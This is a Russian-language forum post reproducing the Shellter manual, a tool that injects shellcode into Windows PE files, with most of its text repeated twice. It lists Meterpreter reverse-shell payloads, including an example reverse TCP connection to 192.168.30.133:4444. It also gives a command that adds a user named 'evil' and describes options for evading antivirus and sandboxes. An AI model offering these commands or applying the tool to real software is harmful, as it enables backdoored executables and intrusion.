- 29
- 102
- 18 Май 2017
Описание shellter
Shellter — это динамический инструмент инъекции шелл-кода, и первый когда-либо созданный по-настоящему динамический PE инфектор. Он может использоваться для внедрения шелл-кода в нативные приложения Windows (в настоящий момент только 32-битные приложения). Шелл-код может быть чем-то вашим или чем-то сгенерированным программными платформами, такими как Metasploit.
Домашняя страница: Для просмотра ссылки Войдиили Зарегистрируйся
Установка shellter
Установка в Kali Linux
shellter — это приложение для Windows. Поэтому для его запуска в Kali Linux необходимо установить Wine, это делается следующими командами:
sudo dpkg --add-architecture i386
sudo apt update && sudo apt install wine32
Установка пакета shellter:
sudo apt install shellter
Установка в BlackArch
В систему необходимо установить Wine, после этого скачайте shellter с официального сайта: Для просмотра ссылки Войдиили Зарегистрируйся, распакуйте архив и запустите .exe файл с помощью Wine.
Справка по shellter
Опции командной строки
Справка: -h, --help
Действие: Показывает информацию об опциях командной строки.
Список полезных нагрузок: --list
Действие: Показывает список встроенных полезных нагрузок.
Режим вербальности: -v
Действие: Показывает трассировку в реальном времени.
Режим работы: -a / -m
Действие: Установить используемый Режим работы.
-a: Автоматический режим, -m: Ручной режим. (смотрите примечания)
Помните: Ддя ручного режима требуется взаимодействие с пользователем для всех параметров.
Онлайн проверка версии: --VersionCheck
Действие: Получает информацию о версии с официального сайта.
Помните: требует Интернет-подключения. Не доступно в режиме Wine.
PE цель: -f <имя файла>
Действие: Устанавливает PE цель.
Невидимый режим: -s / --stealth
Действие: Включает функцию невидимого режима. Сохраняет исходную функциональность зараженного файла PE.
Помните: Если эта функция включена, то --enc, --encodeи --handler IATподразумеваются как установленные.
Полезная нагрузка: -p <имя файла>/<указанная полезная нагрузка>
Действие: Устанавливает полезную нагрузку. Должна быть в формате RAW.
Metasploit: генерирует -t raw.
Следующие полезные нагрузки могут использоваться напрямую через Shellter.
Полезные нагрузки
[1] Meterpreter_Reverse_TCP [stager]
[2] Meterpreter_Reverse_HTTP [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP [stager]
[5] Shell_Reverse_TCP [stager]
[6] Shell_Bind_TCP [stager]
[7] WinExec
Пример:
-p meterpreter_reverse_tcp --lhost 192.168.30.133 --port 4444
LHOST: --lhost <IP адрес>/<доменное имя>
Действие: Устанавливает IP адрес или доменное имя для внедряемой полезной нагрузки для использования обратного соединения.
Помните: Помните, доменные имена могут использоваться с полезными нагрузками reverse_http и reverse_https или с кастомными полезными нагрузками, генерируемыми пользователем.
Порт: --port <Port number>
Действие: Устанавливает номер порта для включённых полезных нагрузках, которые используют или обратное соединение или прослушивают локально на входящие содеинения.
Команда: --cmd <cmd argument>
Действие: Устанавливает команду.
Пример: -p winexec --cmd "cmd.exe /c net user evil password /ADD"
Включение поддержки DLL Reflective Loader: --reflective <FuncName>
Действие: Помечает полезную нагрузку как DLL и устанавливает функцию reflective loader.
Этот флаг автоматически активирует поддержку кодированной полезной нагрузки, поскольку загрузчик должен требовать разрешения RW для себя. Вам нужно будет также установить аргумент --handler.
Помните: имена функций чувствительны к регистру.
Трассировка потоков: --trace main / all
Действие: Устанавливает прослеживаемые потоки.
main: главный поток, all: трасировка всех потоков.
Помните: рекомендуется включить трассировку всех потоков. Это включено по умолчанию когда используется автоматический режим без аргументов командной строки.
Включение поддержки кодированной полезной нагрузки: --enc
Действие: Регулирует закодированными полезными нагрузками.
Помните: усли вы используете кодированную полезную нагрузку, этот флаг является обязательным! Однако он включен по умолчанию, когда используется автоматический режим без аргументов командной строки. Рекомендуется всегда использовать кодированные полезные нагрузки, если они не являются полностью кастомными и поэтому не известными AV.
Помните: вы можете включить в Shellter кодировщик используя аргумент --encode. Он также может использоваться поверх уже закодированных полезных нагрузок.
Собственная кодировка Shellter: --encode / --encode {<кодирующая последовательность>}
Действие: Применяет дополнительный уровень кодирования.
Он включён по умолчанию когда используется автоматический режим без аргументов командной строки.
Поддерживаемые операторы кодирования
XOR --> x
ADD --> +
SUB --> -
NOT --> !
Пример #1: x!+x
Помните: когда кодирующая последовательность задана из командой строки, операторы должны быть заключены в '{}'.
Пример #2: --encode {x!+}
Помните: в ручном режиме вы не должны включать символы '{}' , пишите как это показано в примере #1.
Примечания: количество заданных операторов должно быть между 1 и 12 операторами.
Если вы просто используете переключатель --encode без определения пользовательской последовательности операторов кодирования, Shellter сам случайным образом создаст и применит схему кодирования.
Если вы включили режим невидимости используя переключатели --stealh/-s, подразумевается переключатель --encode, но если вы хотите использовать пользовательскую последовательность кодирования, то вам вам нужно указать её явным образом, используя переключатель --encode, как это показано в примере #2.
Помните: вам также нужно установить аргумент --handler.
Если вы установили переключатель --encode, тогда --enc подразумевается как установленный.
Кодирование с использованием Dynamic Thread Context Key: --DTCK
Действие: Кодирует полезную нагрузку, используя динамическую контекстную информацию потока.
Помните: это экспериментальная функция, которая ведёт журнал содержимого некоторых регистров CPU и затем фильтрует все эти данные, чтобы сохранить расположения инъекции где по крайней мере один из журналируемых регистров имеет значение, которое может надёжно использоваться для кодирования и последующего раскодирования полезной нагрузки во время выполнения.
Помните: если вы установили этот флаг, то --encode и --encподразумеваются как тоже установленные.
В автоматическом режиме эта функция может быть активирована только использованием аргументов командной строки.
Обфускация проприетарным декодером: --polyDecoder
Действие: Обфусцирует генерируемое декодером Shellter с использованием Thread Context Aware Polymorphic code.
Помните: это применимо только если была установлена опция --encode. Это включено по умолчанию когда используется автоматический режим без аргументов командной строки.
Encoded Payload Handling Type: --handler iat / section
Действие: Определяет, как будет обрабатываться кодированная полезная нагрузка.
iat: Использовать указатели IAT, section: Дать секции RWE разрешения.
Помните: если вы используете кодированную полезную нагрузку, этот флаг является обязательным! Тем не менее, когда вы используете автоматический режим без аргументов командной строки, это включается по умолчанию.
Обфусцировать обработчик IAT типа: --polyIAT
Действие: включает обфускацию обработчиков IAT типа для кодированных полезных нагрузок используя Thread Context Aware Polymorphic code.
Помните: делает вывод намного более полиморфным. Это включено по умолчанию, когда используется автоматический режим без аргументов командной строки.
Создать и связать PolyMorphic Junk Code: --junk
Действие: Включает PolyMorphic Junk Code.
Помните: рекомендуется включать эту опцию чтобы создавать более сложный вывод. Этот тип добавленного кода также служит для тайм-аута некоторых эмуляторов и песочниц. Возможно, вам придется подождать несколько секунд, прежде чем полезная нагрузка будет выполнена.
Помните: эта функция включена по умолчанию, когда используется автоматический режим без аргументов командной строки.
Заметки:
Shellter — это динамический инструмент инъекции шелл-кода, и первый когда-либо созданный по-настоящему динамический PE инфектор. Он может использоваться для внедрения шелл-кода в нативные приложения Windows (в настоящий момент только 32-битные приложения). Шелл-код может быть чем-то вашим или чем-то сгенерированным программными платформами, такими как Metasploit.
Домашняя страница: Для просмотра ссылки Войди
Установка shellter
Установка в Kali Linux
shellter — это приложение для Windows. Поэтому для его запуска в Kali Linux необходимо установить Wine, это делается следующими командами:
sudo dpkg --add-architecture i386
sudo apt update && sudo apt install wine32
Установка пакета shellter:
sudo apt install shellter
Установка в BlackArch
В систему необходимо установить Wine, после этого скачайте shellter с официального сайта: Для просмотра ссылки Войди
Справка по shellter
Опции командной строки
Справка: -h, --help
Действие: Показывает информацию об опциях командной строки.
Список полезных нагрузок: --list
Действие: Показывает список встроенных полезных нагрузок.
Режим вербальности: -v
Действие: Показывает трассировку в реальном времени.
Режим работы: -a / -m
Действие: Установить используемый Режим работы.
-a: Автоматический режим, -m: Ручной режим. (смотрите примечания)
Помните: Ддя ручного режима требуется взаимодействие с пользователем для всех параметров.
Онлайн проверка версии: --VersionCheck
Действие: Получает информацию о версии с официального сайта.
Помните: требует Интернет-подключения. Не доступно в режиме Wine.
PE цель: -f <имя файла>
Действие: Устанавливает PE цель.
Невидимый режим: -s / --stealth
Действие: Включает функцию невидимого режима. Сохраняет исходную функциональность зараженного файла PE.
Помните: Если эта функция включена, то --enc, --encodeи --handler IATподразумеваются как установленные.
Полезная нагрузка: -p <имя файла>/<указанная полезная нагрузка>
Действие: Устанавливает полезную нагрузку. Должна быть в формате RAW.
Metasploit: генерирует -t raw.
Следующие полезные нагрузки могут использоваться напрямую через Shellter.
Полезные нагрузки
[1] Meterpreter_Reverse_TCP [stager]
[2] Meterpreter_Reverse_HTTP [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP [stager]
[5] Shell_Reverse_TCP [stager]
[6] Shell_Bind_TCP [stager]
[7] WinExec
Пример:
-p meterpreter_reverse_tcp --lhost 192.168.30.133 --port 4444
LHOST: --lhost <IP адрес>/<доменное имя>
Действие: Устанавливает IP адрес или доменное имя для внедряемой полезной нагрузки для использования обратного соединения.
Помните: Помните, доменные имена могут использоваться с полезными нагрузками reverse_http и reverse_https или с кастомными полезными нагрузками, генерируемыми пользователем.
Порт: --port <Port number>
Действие: Устанавливает номер порта для включённых полезных нагрузках, которые используют или обратное соединение или прослушивают локально на входящие содеинения.
Команда: --cmd <cmd argument>
Действие: Устанавливает команду.
Пример: -p winexec --cmd "cmd.exe /c net user evil password /ADD"
Включение поддержки DLL Reflective Loader: --reflective <FuncName>
Действие: Помечает полезную нагрузку как DLL и устанавливает функцию reflective loader.
Этот флаг автоматически активирует поддержку кодированной полезной нагрузки, поскольку загрузчик должен требовать разрешения RW для себя. Вам нужно будет также установить аргумент --handler.
Помните: имена функций чувствительны к регистру.
Трассировка потоков: --trace main / all
Действие: Устанавливает прослеживаемые потоки.
main: главный поток, all: трасировка всех потоков.
Помните: рекомендуется включить трассировку всех потоков. Это включено по умолчанию когда используется автоматический режим без аргументов командной строки.
Включение поддержки кодированной полезной нагрузки: --enc
Действие: Регулирует закодированными полезными нагрузками.
Помните: усли вы используете кодированную полезную нагрузку, этот флаг является обязательным! Однако он включен по умолчанию, когда используется автоматический режим без аргументов командной строки. Рекомендуется всегда использовать кодированные полезные нагрузки, если они не являются полностью кастомными и поэтому не известными AV.
Помните: вы можете включить в Shellter кодировщик используя аргумент --encode. Он также может использоваться поверх уже закодированных полезных нагрузок.
Собственная кодировка Shellter: --encode / --encode {<кодирующая последовательность>}
Действие: Применяет дополнительный уровень кодирования.
Он включён по умолчанию когда используется автоматический режим без аргументов командной строки.
Поддерживаемые операторы кодирования
XOR --> x
ADD --> +
SUB --> -
NOT --> !
Пример #1: x!+x
Помните: когда кодирующая последовательность задана из командой строки, операторы должны быть заключены в '{}'.
Пример #2: --encode {x!+}
Помните: в ручном режиме вы не должны включать символы '{}' , пишите как это показано в примере #1.
Примечания: количество заданных операторов должно быть между 1 и 12 операторами.
Если вы просто используете переключатель --encode без определения пользовательской последовательности операторов кодирования, Shellter сам случайным образом создаст и применит схему кодирования.
Если вы включили режим невидимости используя переключатели --stealh/-s, подразумевается переключатель --encode, но если вы хотите использовать пользовательскую последовательность кодирования, то вам вам нужно указать её явным образом, используя переключатель --encode, как это показано в примере #2.
Помните: вам также нужно установить аргумент --handler.
Если вы установили переключатель --encode, тогда --enc подразумевается как установленный.
Кодирование с использованием Dynamic Thread Context Key: --DTCK
Действие: Кодирует полезную нагрузку, используя динамическую контекстную информацию потока.
Помните: это экспериментальная функция, которая ведёт журнал содержимого некоторых регистров CPU и затем фильтрует все эти данные, чтобы сохранить расположения инъекции где по крайней мере один из журналируемых регистров имеет значение, которое может надёжно использоваться для кодирования и последующего раскодирования полезной нагрузки во время выполнения.
Помните: если вы установили этот флаг, то --encode и --encподразумеваются как тоже установленные.
В автоматическом режиме эта функция может быть активирована только использованием аргументов командной строки.
Обфускация проприетарным декодером: --polyDecoder
Действие: Обфусцирует генерируемое декодером Shellter с использованием Thread Context Aware Polymorphic code.
Помните: это применимо только если была установлена опция --encode. Это включено по умолчанию когда используется автоматический режим без аргументов командной строки.
Encoded Payload Handling Type: --handler iat / section
Действие: Определяет, как будет обрабатываться кодированная полезная нагрузка.
iat: Использовать указатели IAT, section: Дать секции RWE разрешения.
Помните: если вы используете кодированную полезную нагрузку, этот флаг является обязательным! Тем не менее, когда вы используете автоматический режим без аргументов командной строки, это включается по умолчанию.
Обфусцировать обработчик IAT типа: --polyIAT
Действие: включает обфускацию обработчиков IAT типа для кодированных полезных нагрузок используя Thread Context Aware Polymorphic code.
Помните: делает вывод намного более полиморфным. Это включено по умолчанию, когда используется автоматический режим без аргументов командной строки.
Создать и связать PolyMorphic Junk Code: --junk
Действие: Включает PolyMorphic Junk Code.
Помните: рекомендуется включать эту опцию чтобы создавать более сложный вывод. Этот тип добавленного кода также служит для тайм-аута некоторых эмуляторов и песочниц. Возможно, вам придется подождать несколько секунд, прежде чем полезная нагрузка будет выполнена.
Помните: эта функция включена по умолчанию, когда используется автоматический режим без аргументов командной строки.
Заметки:
- При запуске внутри Wine совместимый движок выбирается автоматически.
- Если был выбран ручной режим, все другие опции игнорируются.
- Если в командной строке не был выбран режим (-a/-m), то применяется автоматический режим.
- Если установлены '--enc' и/или '--encode' и/или --DTCK, тогда также должна быть установлена '--handler'.
- Когда используется автоматический режим, то по умолчанию включена трассировка всех потоков.
- Если включён невидимый режим (-s/--stealth), внедрённая полезная нагрузка всегда будет кодироваться Shellter'ом и по умолчанию устанавливается --handler IAT.
- Аргументы могут быть переданы в любом порядке. Если один и тот же аргумент используется более одного раза, то во внимание принимается только первый.